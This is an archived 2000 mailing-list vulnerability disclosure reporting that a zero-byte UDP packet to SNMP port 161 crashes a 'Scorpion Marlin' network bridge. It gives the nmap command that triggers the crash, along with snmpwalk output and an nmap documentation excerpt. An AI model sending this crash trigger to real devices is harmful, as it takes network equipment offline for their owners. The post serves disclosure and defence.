OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: Scorpion Marlin
From: Christophe GRENIER (grenierNEF.ESIEA.FR)
Date: Fri Feb 25 2000 - 01:26:56 CST

A 0 byte udp packet sent to SNMP port
(nmap -sU -p 161 pont-vesale) crashes the bridge.

nef:~$ snmpwalk pv public system
system.sysDescr.0 = "ScorpionMarlin"
system.sysObjectID.0 = OID: enterprises.541.1
system.sysUpTime.0 = Timeticks: (130641320) 15 days, 2:53:33.20
system.sysContact.0 = "NoContact"
system.sysName.0 = "PONT-VESALE"
system.sysLocation.0 = "NoLocation"
system.sysServices.0 = 15

nmap documentation extract:
       -sU UDP scans: This method is used to determine which
              UDP (User Datagram Protocol, RFC 768) ports are
              open on a host. The technique is to send 0 byte
              udp packets to each port on the target machine. If
              we receive an ICMP port unreachable message, then
              the port is closed. Otherwise we assume it is
              open.

-------------------------------------------------------------------------------
  ,-~~-.___. ._. -= GRENIER Christophe =-
 / | ' \ | |"""""""""| sysadm de nef.esiea.fr
( ) 0 | | | ESIEA
 \_/-, ,----' | | | Ecole Superieure d'Informatique -
    ==== !_!--v---v--" Electronique - Automatique
    / \-'~; |""""""""|
   / __/~| ._-""|| | Email: grenieresiea.fr
 =( _____|_|____||________| http://www.esiea.fr/public_html/Christophe.GRENIER/
-------------------------------------------------------------------------------